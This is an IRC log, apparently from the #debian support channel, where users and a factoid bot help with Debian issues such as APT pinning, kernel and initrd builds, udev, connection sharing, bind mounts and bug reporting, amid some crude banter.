| 07:03.37 | TheStar | leh, I think it defaults to all, or something. |
| 07:03.37 | loof | the 10/20 will meet my current backup needs... but the extra capacity would be nice... |
| 07:03.49 | loof | Star: Included in the server...and Free |
| 07:03.58 | simonrvn | loof: there's an util for udev you can make it update its database... check the package docs |
| 07:03.59 | streuner | leh: if you using udev or devfs read the man-pages and read the docs |
| 07:03.59 | TheStar | loof, Don't spend heaps of money on something that will only be good NOW. |
| 07:04.00 | loof | in fact, the DLT drive is a 5 slot library |
| 07:04.05 | loof | but the library is currently fried |
| 07:04.10 | loof | I think it's just one motor |
| 07:04.13 | leh | ok thanx, sorry for the dumb question |
| 07:04.17 | simonrvn | loof: sorry |
| 07:04.22 | simonrvn | leh: there's an util for udev you can make it update its database... check the package docs |
| 07:04.45 | loof | Nothing to be sorry about |
| 07:04.49 | simonrvn | (that's what you get for tabbing on one char....) |
| 07:04.53 | loof | for the money I paid (Nothing) it works great |
| 07:04.53 | loof | ;D |
| 07:04.54 | loof | hehe |
| 07:05.46 | streuner | leh: why are you using udev at all? |
| 07:05.57 | simonrvn | s/he left |
| 07:06.02 | streuner | oh |
| 07:07.03 | simonrvn | *shrug* |
| 07:07.09 | loof | Sheesh |
| 07:07.17 | ChrysalisM | kind of harsh on em |
| 07:07.21 | loof | Idiot hackers 'tagged' amanda.org |
| 07:07.25 | loof | or whatever it's called these days |
| 07:07.34 | loof | well, crackers... but who knows if they were white or not |
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| 07:10.07 | streuner | !lart udev and devfs |
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| 07:11.31 | loof | One APT related question... if I'm looking at the 'aptitude show' for a package... how do I know what release that package is 'in' |
| 07:11.32 | sway_ | proftpd still wont run.. |
| 07:11.37 | sway_ | 21/tcp root 238 f.... inetd |
| 07:11.45 | nar | Anyone able to tackle ipsec questions for debian 2.4.27 kernel with freeswan? |
| 07:11.47 | sway_ | inetd is using port 21? |
| 07:11.49 | dondelelcaro | loof: by the versions, typically. |
| 07:12.12 | sgeigerbot | What is wrong? "Kernel requires old modprobe, but couldn't run modprobe.modutils: No such file or directory" The message is apparently printed by initrd-tools on boot up (just before a kernel panic: "pivot_root: No such file or directory /sbin/init: 424: cannot open dev/console: No such file Kernel panic: Attempted to kill init!" |
| 07:12.47 | dondelelcaro | sgeigerbot: you've got a 2.4 kernel with only module-init-tools installed? |
| 07:13.20 | loof | dondelecaro: Well, I didn't see 'bacula' on there before... I switched back to my normal APT config which gets testing, unstable and experimental... then sets 'testing' as the desired release |
| 07:13.29 | loof | Now I'm seeing bacula come up |
| 07:13.59 | loof | I'm wondering if maybe it exists only in unstable, or something along those lines |
| 07:13.59 | sgeigerbot | I installed the old version of modutils and the new version, mod-install-utils on both the 2.4 installation and the 2.6 installation (which is the one in the chroot...and the one that does not boot). |
| 07:13.59 | dondelelcaro | loof: packages.debian.org/bacula will help you |
| 07:14.04 | nar | Someone else doing battle with bacula? |
| 07:14.29 | sgeigerbot | dondelelcaro: I'm trying to boot a 2.6 kernel, but I think the initrd uses its own kernel...which may be a 2.4 variety. |
| 07:14.47 | dondelelcaro | sgeigerbot: yeah, you'd have to have modutils in the chroot as well, I'd gather. |
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| 07:14.52 | loof | aaaah ok |
| 07:14.56 | loof | thanks, that does help |
| 07:15.03 | loof | of course that does clarify one thing I was hazy about |
| 07:15.17 | budluva | hi there, is there anyway i can search /etc/apache2 for the text string apache2-default???? |
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| 07:15.28 | nar | ping |
| 07:15.32 | loof | since I'm loading all of the package lists... it will prefer things in testing due to my settings... but will load things from unstable if they do NOT exist in testing at all yet |
| 07:15.32 | dondelelcaro | budluva: grep -r apache2-default /etc/apache2; |
| 07:15.35 | dondelelcaro | budluva: man grep; |
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| 07:15.49 | deadcat | man aircrack is cracking. (= |
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| 07:16.14 | dondelelcaro | loof: you can do that using pinning or using -t, but you may break things by doing that. |
| 07:16.28 | dondelelcaro | loof: aka, you get to keep all of the pieces. |
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| 07:16.51 | dondelelcaro | nar: no, no one can. |
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| 07:16.59 | jasonf | !test nar |
| 07:17.00 | dpkg | Testing nar... ROM BASIC NOT FOUND$#$ |
| 07:17.07 | loof | Well, currently I'm using pinning... I think... that is I set a 'pin-priority' and 'pin' the release |
| 07:17.24 | dondelelcaro | loof: yeah, then you can specify an explicit version using -t or = |
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| 07:17.29 | loof | nar: Are you in a forest, alone? |
| 07:17.31 | fbtab | CTCP PING reply from nar: 4.205 seconds |
| 07:17.40 | nar | Ah that is a relief. I only say stupid stuff :) |
| 07:17.43 | deadcat | anyone using a zyxel prestige dsl modem/router? i cant get that shit to work right. |
| 07:18.04 | jasonf | !jasonf |
| 07:18.04 | dpkg | He's my best friend. |
| 07:18.15 | streuner | hehe |
| 07:18.41 | jasonf | !streuner |
| 07:18.41 | dpkg | I hate him. |
| 07:18.47 | jm_ | gah, muttprint in Sarge fucks up with CUPS |
| 07:18.49 | jasonf | ooh, streuner, hatin' on you, eh |
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| 07:19.07 | streuner | !factinfo streuner |
| 07:19.08 | dpkg | streuner -- created by jasonf <~jay@jasonf.user> 35s ago; it has been requested once, last by jasonf, 26s ago. |
| 07:19.17 | loof | jm_: it does? |
| 07:19.21 | jasonf | ssssh |
| 07:19.23 | loof | jm_: It seemed fine |
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| 07:19.34 | nar | loof: No. But I have ipsec and bacula problems. I wanted to check that it was just no answers or a bad irc setup. |
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| 07:20.09 | jm_ | loof: CUPS error log gives me print_job: bad page-ranges values 0-0. |
| 07:20.12 | loof | nar: That's because as far as I can tell you didn't ever ask your question. |
| 07:20.25 | jm_ | loof: it works fine if command is set to lpr, which is default |
| 07:20.30 | loof | jm_: Odd, all I can say is that it didn't do that for me last time I tried it :) |
| 07:20.30 | BenderNZ | Hi, I've installed debian (woody 3.0r1) and that boots fine. But when I upgrade the kernel to 2.6.9 and reboot - it boots but after "Starting the Cron Scheduler" it sits and does nothing - then after a minute comes up with "Processes "2" respawning too fast - killing for 5 minutes" and then does that with processes 3-6 as well. Then the machine sits and does nothing. |
| 07:21.10 | jasonf | !irc root |
| 07:21.10 | dpkg | i heard irc root is don't even think |
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| 07:21.18 | jasonf | !root irc |
| 07:21.18 | dpkg | root irc is probably Don't even think about IRCing as root, unless you LIKE having a compromized system. |
| 07:21.37 | jasonf | oh, he left. |
| 07:23.15 | nar | Ok. I have setup ipsec under 2.4.27-1-386 debian kernel with freeswan. In earlier kernels (2.4.20?) I had a ipsec0 entry show in ifconfig. |
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| 07:23.43 | calmar | ..wow.. there is 'option - tab-complete'. Is this becuase of debian especially? I know there is somekind of a special script? or is taht normal? |
| 07:23.47 | streuner | BenderNZ: what does 'dpkg -l libc6' say? |
| 07:24.11 | nar | The new kernel does not. The decripted packets present on eth1, my external interface. |
| 07:24.29 | BenderNZ | streuner: you want the version? |
| 07:24.37 | nar | Is this expected or can I get my i[psec0 back again? |
| 07:24.49 | streuner | BenderNZ: yep |
| 07:25.04 | BenderNZ | 2.3.2.ds1-19 |
| 07:25.19 | streuner | BenderNZ: /msg dpkg sid faq |
| 07:25.41 | TheStar | Hmm, on unstable, upgrade seems to break libncurses.so.5.4 |
| 07:25.56 | TheStar | I've had to fix that twice today. |
| 07:26.03 | TheStar | (And re-run upgrade) |
| 07:26.22 | nar | Hence my first question. Can anyone here tackle ipsec questions? |
| 07:27.25 | streuner | BenderNZ: reinstall debian and /msg dpkg d-i |
| 07:27.41 | budluva | whats the easiest way to share my internet connection? my setup is that i have 2 nics in my debian machine, 1 nic in my xp box, using sarge, 2.4.27-1-686 kernel image... |
| 07:28.02 | budluva | the connection is fine, both nics are up, and i can ping between both machines |
| 07:28.16 | streuner | budluva: ipmasq |
| 07:28.18 | TheStar | Has anyone else had this issue? |
| 07:28.39 | budluva | streuner, can you point to a good n00b ipmasq-howto? |
| 07:28.43 | streuner | !bts |
| 07:28.43 | dpkg | somebody said bts was the Bug Tracking System for Debian packages, http://bugs.debian.org/ or to go directly to the bug page for a particular package, try http://bugs.debian.org/packagename or anyone running unstable who's unable to check the BTS should be shot on sight. apt-get install reportbug, and check out querybts too. sid users, apt-get install apt-listbugs, or apt-get install apt-listchanges |
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| 07:29.16 | streuner | budluva: ipmasq is one of the easiest packages in debian, just run it and it works out of the box. |
| 07:29.24 | budluva | oh |
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| 07:29.42 | budluva | do i have to disable anything first? or does it disable things when it needs to? |
| 07:29.54 | streuner | budluva: dpkg -L ipmasq and where it stores it configs, if you want to add things just look into |
| 07:30.05 | TheStar | Personally, I'd use shorewall |
| 07:30.14 | BenderNZ | streuner: I can boot from the rescue cd - is there a specific package I just need to fix up? |
| 07:30.37 | saba | anyone here know anything about this error >> debian/rules:1762: warning: overriding commands for target `.config' ; I get this when compiling my debian kernel I downloaded (apt-get install kernel-source2.6.8 |
| 07:30.44 | saba | ? |
| 07:31.14 | streuner | BenderNZ: libc6 |
| 07:31.39 | streuner | BenderNZ: reinstall |
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| 07:31.40 | jm_ | ahh no wonder, it calls lp -P foo |
| 07:31.50 | dondelelcaro | saba: use make-kpkg, not fakeroot debian/rules binary; if you're building your own kernel. |
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| 07:32.45 | saba | dondelelcaro, I am using make-kpkg; I typed 'make-kpkg clean && make-kpkg kernel_image --initrd' in /usr/src/linux |
| 07:33.18 | Numer0bis | Hi, I mounted a folder into another folder with mount --bin [ mount --bind /var/www/ /home/chris/www |
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| 07:33.41 | Numer0bis | now how can I unmount this bind again ? |
| 07:33.52 | cafuego | Numer0bis: umount /home/chris/www |
| 07:33.55 | sgeigerbot | dondelelcaro: okay...I have modutils (and mod-init-tools) in the chroot where I'm trying to make an initr. I've run 'update-modules' but I keep getting these errors: "cpio: /etc/modprobe.conf No such file or directory" and "cpio: /lib/modules/modprobe.conf No such file or directory" What might I need to do? |
| 07:34.28 | Numer0bis | cafuego: then he says umount: /home/chris/www: not mounted |
| 07:34.59 | saba | dondelelcaro, what .config file am I supposed to be using with my kernel-sources? I know there is a config-2.6.8 file located in /boot ? |
| 07:35.14 | dondelelcaro | saba: ok, then it's probably ok, since you should already have run make menuconfig; or similar to set up your .config appropriately. |
| 07:35.14 | jm_ | loof: I bet it used lpr for you, I can't see how this can work |
| 07:35.36 | dondelelcaro | sgeigerbot: probably just touch them... |
| 07:35.44 | sgeigerbot | dondelelcaro: The man page for update-modules would have me believe that those files aren't even necessary, but I think they are, as I'm getting a kernel panic, and the problem seems to be with modprobe being missing. |
| 07:36.04 | sgeigerbot | dondelelcaro: ...which makes me think touch-ing them won't help. |
| 07:36.31 | dondelelcaro | sgeigerbot: well, presumably you've got a script that's running with set -e; when update-modules fails, it bails, and init dies because of it. |
| 07:36.32 | streuner | sgeigerbot: playing with different modutils version causes serious headaces... |
| 07:36.46 | dark`caiu | the dpkg-buildpackage are building things for i386, but i want that it build those things for i686, what should i do? |
| 07:36.50 | saba | dondelelcaro, I am getting this error when trying to run 'make menuconfig' HOSTCC scripts/basic/fixdep; scripts/basic/fixdep.c:97:23: sys/types.h: No such file or directory |
| 07:36.52 | dondelelcaro | sgeigerbot: there may be a different bug there.. |
| 07:36.54 | saba | any ideas? |
| 07:36.59 | dondelelcaro | saba: /msg dpkg kp |
| 07:37.19 | dondelelcaro | dark`caiu: you don't want to change that unless you know exactly what you're doing. |
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| 07:37.36 | dondelelcaro | dark`caiu: if you do, then you'll understand how to pass CFLAG="-march=foo" |
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| 07:39.54 | dark`caiu | dondelelcaro i know that if my uname -a returns Linux orochi 2.6.7-1-386 #1 Thu Jul 8 05:08:04 EDT 2004 i686 GNU/Linux , my system will run i686 programs faster than i386, specially the multimedia ones. but i dont know how i will pass these flag. as a parameter? as a export? (seems to bee a variable). and, why -march=foo? the word i686 might be on the parameter |
| 07:40.03 | dark`caiu | or you are joking with me? :P |
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| 07:40.47 | dondelelcaro | dark`caiu: no, I'm explaining that you clearly don't understand how the compiler is invoked, and what options influence it, and what compiler options actually mean. |
| 07:41.13 | cafuego | dark`caiu: It will only run them faster if they use optimised asm or specific functions. You'll get the best performance gails by 1) Recoding to ASM or 2) Optimising libc. |
| 07:41.13 | dark`caiu | dondelelcaro but i know why i need a i686 program |
| 07:41.50 | dondelelcaro | dark`caiu: until you've spent a bit of time with the gcc manpage and understand how debian/rules and GNU make works, you should probably not worry about making arch specific packages, and just use the defaults, which are generally much more sane than the ones you pick out of the blue. |
| 07:41.52 | dark`caiu | dondelelcaro and i am trying to do one, even if i am a bastard that do not knows nothing about compilation |
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| 07:42.05 | cafuego | dark`caiu: If you think you need to recompile everything in debian, think of it's i386 label as meaning "32bit x86" and *NOT* a 386 cpu. |
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| 07:42.22 | dark`caiu | cafuego hm. |
| 07:42.49 | hammer | i downloaded debian(woody) 7 iso images, however i saw 3 more iso's and 1 of them is debian-30r3-i386-binary-1_NONUS.iso, do i need that too?? |
| 07:42.51 | cafuego | s/it's/its/ |
| 07:43.04 | dondelelcaro | considering the fact that I know all of this, and still haven't bothered to recompile anything to use anything but i386 really should clue you in. |
| 07:43.15 | Numer0bis | cafuego: if I do umount /home/chris/www it says: umount: /home/chris/www: not mounted |
| 07:43.20 | dondelelcaro | (well, on my IA32 based machines, anyway...) |
| 07:43.31 | cafuego | Numer0bis: If it's not mounted you can't unmount it. |
| 07:43.38 | dark`caiu | well i am using a package named zsnes - that is a emulator of snes - that runs too slow on linux, and runs very fast on windows. i am trying to make it more faster |
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| 07:43.58 | Numer0bis | cafuego: it is mounted with bind |
| 07:44.08 | dark`caiu | some people telled me that this type of program runs more faster if compiled for i686 |
| 07:44.27 | dondelelcaro | dark`caiu: no, it won't make much of a difference. |
| 07:44.57 | Numer0bis | cafuego: I mounted it with mount --bind /var/www/ /home/chris/www |
| 07:45.10 | dondelelcaro | not to mention that it shouldn't matter anyway, since any machine faster than a pII 200 should have no problems emulating a SNES at full speed. |
| 07:45.17 | Numer0bis | umount /home/Chris/www doesn't work |
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| 07:46.10 | dark`caiu | well, i wanna try it for myself, and that's why i asked this here, dondelelcaro |
| 07:46.15 | EvAn-x | alguien habla espańol? |
| 07:46.18 | dondelelcaro | !spanish |
| 07:46.18 | dpkg | Hispanohablantes: Por favor usen #debian-es, alli obtendran mas ayuda. Spanish Speakers: Please use #debian-es, there you will get much more help. |
| 07:46.25 | EvAn-x | thanks |
| 07:46.41 | dark`caiu | i am a bit newbie on linux, and i learned so much trying nonsense things |
| 07:46.42 | dondelelcaro | dark`caiu: then man gcc; man make; and then read the Makefile, and you'll begin to understand. |
| 07:47.01 | cat | dondelelcaro: is lenguage hispana: por favor usen #debian-es alli obtendran mas ayuda. en espanol |
| 07:47.12 | dark`caiu | dondelelcaro ok. thanks. |
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| 07:47.42 | dondelelcaro | cat: eh? |
| 07:47.50 | cat | that sounds better dondelelcaro =) |
| 07:47.59 | cat | i'm a spanish speaker thats why =) |
| 07:48.00 | dondelelcaro | cat: in which dialect? |
| 07:48.07 | cat | in !spanish |
| 07:48.17 | dondelelcaro | cat: yes, but which spanish dialect are we talking about here? |
| 07:48.32 | cat | #debian-es |
| 07:49.04 | dondelelcaro | cat: uh, yeah, but there's a whole bunch of them... and unless I'm mistaken, a native speaker of one of them wrote the factoid, not me. |
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| 07:49.36 | cat | oh ic =) |
| 07:50.15 | loof | Is there any way to tell why a module is in ude? |
| 07:50.17 | loof | us |
| 07:50.19 | cafuego | !realspanish dondelelcaro |
| 07:50.20 | dpkg | dondelelcaro: está usted oculto así como retardado? |
| 07:50.28 | loof | Bleh, this laptop keyboard is messed :) |
| 07:50.31 | loof | in use |
| 07:50.34 | dondelelcaro | cafuego: heh |
| 07:50.40 | sgeigerbot | dondelelcaro: "dpkg --listfiles module-init-tools | grep modprobe" (and a similar command on modultils) shows me that the old version of modprobe is at /sbin/modprobe.Lmodutils. When I try to run that in my chroot (which is where my 2.6 installion is), I get: "modprobe: Can't open dependencies file /lib/modules/2.4.27/modules.dep" That file does exist, but it is outside the chroot. Am I doing something dumb to temporarily sym |
| 07:50.40 | sgeigerbot | link to the old modprobe while I run the mkinitrd command? If so, at the very least I'd need the modules.dep file... |
| 07:50.41 | dondelelcaro | cat: so, while it's probably more elegant for you in your dialect of spanish, it may not be for somoene else... [but of course, if a whole bunch of people who are native speakers agree, by all means change it.] |
| 07:50.53 | cafuego | dondelelcaro: .. for those times giving them the !spanish factoid doesn't work ;-) |
| 07:51.13 | cafuego | MEH! |
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| 07:51.34 | dondelelcaro | sgeigerbot: you can't symlink to things that are outside of the chroot... it ain't going to work. |
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| 07:51.49 | sime | !deborphan |
| 07:51.49 | dpkg | rumour has it, deborphan is a package that will tell you what library packages you have installed that nothing's using. If you want remove all packages use 'deborphan | xargs apt-get -y remove --purge' |
| 07:51.58 | dondelelcaro | sgeigerbot: you'll probably need to install that /lib/modules/2.4.27/modules.dep into the chroot. |
| 07:52.11 | sgeigerbot | dondelelcaro: ...but that woudln't be enough, right? |
| 07:52.30 | sgeigerbot | dondelelcaro: That part of the directory structure doesn't even exist. |
| 07:52.44 | sgeigerbot | dondelelcaro: I guess I could copy the whole /lib/modules/2.4.27/ |
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| 07:53.04 | dondelelcaro | sgeigerbot: yeah, probably a good idea... alternatively, you could fix the pivot_root script... |
| 07:53.43 | sgeigerbot | dondelelcaro: oh yeah...I would love to do that...but after investigating it earlier today, I couldn't figure out where to begin. |
| 07:54.47 | sgeigerbot | dondelelcaro: but see, I think the pivot_root command would only get used once there is another filesystem to cd into...but that does not happen, as the modules (for loading the LVM support) are not getting loaded. |
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| 07:55.31 | dondelelcaro | sgeigerbot: yeah, dunno. joshk is probably the person to ask since he knows a lot about pivot root... I haven't really worked with d-i much |
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| 07:55.50 | fishsandwich | hi |
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| 07:56.06 | ChrysalisM | dark`caiu: hey i just looked at the configure script for zsnes and it checks for your architecture |
| 07:56.12 | fishsandwich | how many of the deb 3 cds do i need to dl for a minimum install |
| 07:56.16 | weehk | hi anyone knows how to create a forum under linux? |
| 07:56.34 | streuner | fishsandwich: none - /msg dpkg d-i |
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| 07:56.40 | dondelelcaro | weehk: install a forum software .deb |
| 07:56.44 | fishsandwich | ? |
| 07:56.50 | sgeigerbot | dondelelcaro: Hmmm. Rebooting...and praying. |
| 07:57.12 | streuner | !tell fishsandwich -about d-i |
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| 07:57.34 | weehk | dondelelcaro: i tried phpbb, but i want to customise it to my webpage |
| 07:57.55 | dondelelcaro | weehk: so find one that you do like, and install it. |
| 07:58.08 | fishsandwich | sarge a nickname? |
| 07:58.20 | dondelelcaro | fishsandwich: no, that's the name of the next debian release. |
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| 07:59.41 | brynjarh | Can anyone help me with this problem: http://www.linuxquestions.org/questions/showthread.php?s=&threadid=269437 ? :/ |
| 07:59.53 | fishsandwich | is the dvd stable |
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| 08:02.12 | xijio | anyone know a way to remove all files in a directory containting a certain string? |
| 08:02.45 | dondelelcaro | xijio: with rm *foo* |
| 08:03.09 | xijio | I mean inside the file |
| 08:03.19 | dondelelcaro | xijio: then use grep, xargs, and rm. |
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| 08:04.40 | dondelelcaro | specifically, something like grep -lZ foo *|xargs -0 rm |
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| 08:05.58 | WorkerII | I just want to thank the soul that finally reported the man in the middle attack for evolution in stable ... I reported it to this channel more than a year ago. |
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| 08:06.28 | dondelelcaro | WorkerII: why in the world didn't you just use reportbug to report the bug? |
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| 08:07.17 | WorkerII | dondelelcaro : I didn't find the time .. also I dunno how to set up return emailadress for that. |
| 08:07.27 | WorkerII | streuner: evolution 1.4 |
| 08:07.34 | dondelelcaro | WorkerII: install reportbug. It's rediculously easy. |
| 08:07.43 | WorkerII | dondelelcaro : I did have it installed. |
| 08:08.02 | WorkerII | dondelelcaro : How do I set up the email adress it uses though? |
| 08:08.12 | mwilson | Over the course of a YEAR, he didn't find the time. And yet he comes over all holier-than-thou claiming he knew about it over a year ago. |
| 08:08.41 | dondelelcaro | WorkerII: in your reportbugrc. It sets it up for you the first time you run reportbug. |
| 08:08.46 | WorkerII | mwilson : Oh ok .. I'm just a random fool then. . or take a look at the cve date. |
| 08:08.54 | dondelelcaro | WorkerII: it's pretty much idiot proof if you actually run it. |
| 08:08.58 | npx | it took jesus like 30 years to realize that he was the messiah |
| 08:09.25 | vlad | had an idea about codes, words and naming that could be used in debian: http://vladisgender.free.fr/main.php?page=07agora/20codes.en.htm |
| 08:09.26 | WorkerII | dondelelcaro : Cool ... I'll use that in the future ... I set it up long ago .. I think 1999 or so .. but I am not sure its that old? |
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| 08:10.01 | mwilson | Really... people who use evocrap deserve what happens to them. |
| 08:10.09 | WorkerII | Well .. at least I only know of one bug now, that I remember, that has to be fixed. |
| 08:10.23 | Beccara | hello, is anyone able to help me with a problem please? |
| 08:10.30 | streuner | !info evolution woody |
| 08:10.32 | dpkg | evolution: (The groupware suite), section mail, is optional. Version: 1.0.5-1 (woody), Packaged size: 8714 kB, Installed size: 25108 kB |
| 08:10.46 | cheale1 | what happens to evolution? |
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| 08:11.11 | fbtab | Beccara: state your ptroblem |
| 08:11.29 | streuner | cheale1: /lastlog WorkerII |
| 08:11.33 | Beccara | After using the Debian Bussiness Card cd to install debian base, the system unmounts the cdrom and spits it out and rebootds |
| 08:11.42 | Beccara | grub loads, i select ANY option and it reboots |
| 08:12.09 | Beccara | even if i select the "recovery mode" option |
| 08:12.43 | cheale1 | streuner: sorry, what do you mean? |
| 08:13.13 | streuner | cheale1: cheale1> what happens to evolution |
| 08:13.25 | streuner | cheale1: just read what WorkerII said |
| 08:13.39 | cheale1 | debian bussiness card...I never heard about that |
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| 08:14.01 | streuner | read /msg dpkg d-i and follow the URL |
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| 08:15.17 | decklin | Beccara, does grub say anything before the system reboots? do you get a kernel at all? |
| 08:15.35 | Beccara | nope |
| 08:15.41 | Beccara | black screen and then my bios |
| 08:15.43 | sgeigerbot | dondelelcaro: symlinking to the old modprobe breaks the mkinitrd command. Damn.... |
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| 08:16.42 | Beccara | i'm watching it infront of me now, onto its 40th or so reboot |
| 08:17.02 | Beccara | http://www.debian.org/devel/debian-installer/ - Business Card iso from there |
| 08:17.11 | ChrysalisM | brynjarh: you still here |
| 08:17.11 | dondelelcaro | Beccara: which kernel did you install? |
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| 08:17.35 | Beccara | stable |
| 08:18.16 | streuner | What CPU do you have? |
| 08:18.27 | Beccara | p4 LGA755 2.8ghz |
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| 08:19.26 | streuner | what iso did you download, we need the exact name. |
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| 08:20.04 | jes-o-mat | hi |
| 08:20.08 | jes-o-mat | I have a problem using debmirror. I have now the complete debian-amd64/pure64 mirror, but the dists/sid/main/binary-amd64/ directory is empty :( |
| 08:20.11 | jes-o-mat | anyone any clue? |
| 08:20.16 | Beccara | http://cdimage.debian.org/pub/cdimage-testing/sarge_d-i/i386/rc2/sarge-i386-businesscard.iso |
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| 08:20.52 | streuner | Beccara: join #debian-boot and ask there. |
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| 08:24.27 | cat | alaska88 |
| 08:25.00 | Beccara | noones talking there, is anyone got ANY ideas? |
| 08:25.19 | sgeigerbot | dondelelcaro: Clarification desired: mkinitrd does not use its own kernel...it uses one from the system... So, any problems I have due to dealing with 2.4 and 2.6 simultaneously should be taken care of by totally moving away from 2.4...and dealing only with 2.6, right? |
| 08:25.32 | kane_ | streuner: Beccara: join #debian-boot and ask there. |
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| 08:25.55 | mortimer | i am having a problem using apt-get... |
| 08:26.00 | mortimer | can anyone help? |
| 08:26.04 | sgeigerbot | dondelelcaro: I wonder whether I couldn't just apt-get a 2.6 kernel for this system...and then be able to create my own initrd |
| 08:26.09 | akbg | mortimer: dont ask to ask, just ask |
| 08:26.13 | sgeigerbot | mortimer: Debian Package Management Info: http://newbiedoc.sourceforge.net/system/apt-get-intro.html or http://sgeiger.mine.nu/docs/pkgmgmt.html or (tarzeau's) http://www.linuks.mine.nu/debian-faq-wiki/ or (thanks za) apt-get install apt-howto-en or (if you forget) /msg apt mgmt or /msg apt pkgmgmt |
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| 08:26.31 | dondelelcaro | sgeigerbot: probably... but I'm not totally certain what you're doing here. |
| 08:26.31 | mortimer | well... all it says is that something wicked happened |
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| 08:26.37 | mortimer | ping works... |
| 08:26.44 | mortimer | but apt-get does not |
| 08:27.24 | akbg | mortimer: what's the *Exact* error? |
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| 08:28.19 | mortimer | "something wicked happened resolving "some url from /etc/apt/sources"" |
| 08:28.40 | SlayerXP | mortimer: you forgot to have an internet connection |
| 08:28.59 | mortimer | uh... ping works fine though |
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| 08:29.08 | mortimer | lynx works |
| 08:29.20 | SlayerXP | you have atp::proxy set? |
| 08:29.32 | mortimer | i don't think so... i never set it |
| 08:29.35 | SlayerXP | apt, even |
| 08:29.36 | apt | odd |
| 08:29.40 | brynjarh | Could anyone help me with this problem: http://www.linuxquestions.org/questions/showthread.php?s=&threadid=269437 ? |
| 08:29.43 | mortimer | it worked the last time... then i rebooted... and it doesn't |
| 08:29.59 | SlayerXP | "What Changed?[tm]" |
| 08:30.05 | mortimer | like i had to use apt-get to install lynx |
| 08:30.08 | tome | mortimer: you get this while doing apt-get update? |
| 08:30.13 | mortimer | yeah |
| 08:30.16 | mortimer | update |
| 08:30.21 | mortimer | or installing anything |
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| 08:31.24 | tome | can you paste the full error (if one or two lines) and more than that in #flood. sounds very odd that you can resolve it but you say apt can't (I'll let others keep investigating) |
| 08:31.44 | fpmc | hi. I removed a file accidentally, so I remove the package that came with it, and reinstall the package, but the files are not re-installed! Anyone help? |
| 08:32.00 | mortimer | i might be able to put a screenshot online... |
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| 08:32.03 | kane_ | dpkg question: if i have a 'liba-plus' version 1 that Provides a 'liba' version 1, and libb depends on liba-plus. And i now install libc, that wants a liba version 2, what the hell is gonna happen? |
| 08:32.05 | dpkg | kane_: what are you talking about? |
| 08:32.22 | kane_ | dpkg: i'm talking about you you silly bot |
| 08:32.22 | dpkg | kane_: bugger all, i dunno |
| 08:32.25 | tome | mortimer: what I'm interested in is the url itself, can't you cut and paste the error?) |
| 08:32.27 | streuner | dpkg, what are you? |
| 08:32.28 | dpkg | I am a blootbot. For more info see <blootbot> |
| 08:32.40 | streuner | kane_: /msg dpkg foo |
| 08:33.11 | mortimer | resolving 'security.debian.org:http' (-5) |
| 08:33.22 | mortimer | that was the last one of a list of probably at least 50 to 100 |
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| 08:33.35 | streuner | kane_: for what package you need liba? |
| 08:33.38 | kane_ | streuner: i doubt the bot can answer that question, i'm already getting lost here: http://www.debian.org/doc/debian-policy/ch-relationships.html |
| 08:34.04 | kane_ | streuner: this is a hypothetical situation, i'd like to know how dpkg solves these issues |
| 08:35.08 | mortimer | oh... another of the url's is non-us.debian.org:http |
| 08:35.34 | kane_ | (i'm reading here to be exact: http://www.debian.org/doc/debian-policy/ch-relationships.html#s-virtual) |
| 08:35.40 | fpmc | How do I extract all the files of a package to a certain folder? |
| 08:35.44 | dondelelcaro | kane_: there is no support for versioned Provides: currently. |
| 08:35.48 | dondelelcaro | fpmc: man dpkg-deb |
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| 08:36.16 | fpmc | dondelelcaro: Why doesn't apt-get remove/install reinstalled some missing files? |
| 08:36.24 | dondelelcaro | kane_: furthermore, libraries should have totally diferent sonames anyway, so you could install liba1 liba2 |
| 08:36.31 | dondelelcaro | fpmc: what the hell are you talking about? |
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| 08:37.03 | fpmc | dondelelcaro: sorry..... I asked a questions a few message before. I tried apt-get remove, then install to see if I can reinstall some missing files that I accidentally deleted |
| 08:37.09 | kane_ | the provides doen'st have to be versioned, it's more like i have 'liba-plus' for 'liba' (both version 1).. now later, liba version 2 comes out (no new liba-plus) and someone depends on liba version 2... will it install liba version 2 alongside liba-plus version 1, or will this cause a conflict or what exactly? |
| 08:37.15 | dondelelcaro | fpmc: so just apt-get --reinstall install foofile; |
| 08:37.25 | dondelelcaro | fpmc: if you removed a conffile, you'll have to use the --force-confmiss option to dpkg. |
| 08:37.28 | fpmc | dondelelcaro: I tried that... the files are not re-installed for some reason |
| 08:37.39 | fpmc | dondelelcaro: ok I think that's it |
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| 08:37.42 | dondelelcaro | fpmc: which "file" are we talking about here? |
| 08:37.49 | fpmc | dondelelcaro: conf files, thanks |
| 08:38.38 | fpmc | dondelelcaro: Can I somehow use --force-confmiss while doing apt-get? |
| 08:38.45 | fpmc | dondelelcaro: or should I do it manuall? |
| 08:38.45 | dondelelcaro | kane_: you shouldn't actually have liba. You should have liba1 and liba2. liba1-plus can provide liba1 if it's ABI and API compatible with it. |
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| 08:39.32 | dondelelcaro | fpmc: yes. man apt-get; and read about -o, specifically apt-get -o DPkg::Options="{--force-confmiss}" --reinstall install |
| 08:39.56 | fpmc | dondelelcaro: ok I get it. I didn't understand the -o options in the man page, now I do. Thanks thanks |
| 08:39.58 | kane_ | i understand that.. please think beyond the 'should not have' bit here. just because my example used '1' and '2' as versions doens't mean they're major versions that are api incompatible... it might be the smallest upgrade to something, a trivial bugfix. that's not quite the point... |
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| 08:40.38 | kane_ | the point is i can't not get a virtual liba-plus package that matches the dependency, so i can't upgrade what i already have installed... what is the course of action the installer will take? |
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| 08:40.52 | kane_ | s/can't not/can not/ |
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| 08:41.27 | dondelelcaro | kane_: the installer will satisfy the dependency by installing the new version of the package. If there are no conflicts, liba-plus will stick around. |
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| 08:42.31 | kane_ | ok, that makes sense |
| 08:42.39 | tome | mortimer: still here? |
| 08:42.59 | mortimer | yeah |
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| 08:43.23 | mortimer | did you get the url's i sent you? |
| 08:43.43 | mortimer | well i sent them to everyone |
| 08:44.00 | tome | still having trouble? not sure what you mean sent, but you said you couldn't get to security.debian.org |
| 08:44.07 | mortimer | right |
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| 08:44.18 | tome | if you do apt-get update again you still see same error? |
| 08:44.22 | mortimer | yeah |
| 08:44.43 | mortimer | and some of them are non-us.debian.org |
| 08:44.52 | tome | hm, i sometimes get timeout errors, but not resolution errors |
| 08:45.16 | mortimer | ssh has problems connecting too |
| 08:45.25 | mortimer | even though lynx and ping work fine |
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| 08:45.39 | tome | are you normally able to ssh into those hosts? |
| 08:45.45 | WorkerII | mortimer : And you get a fine bing too? |
| 08:45.50 | mortimer | it's a host i use every day |
| 08:45.58 | mortimer | bing? |
| 08:46.04 | WorkerII | !bing? |
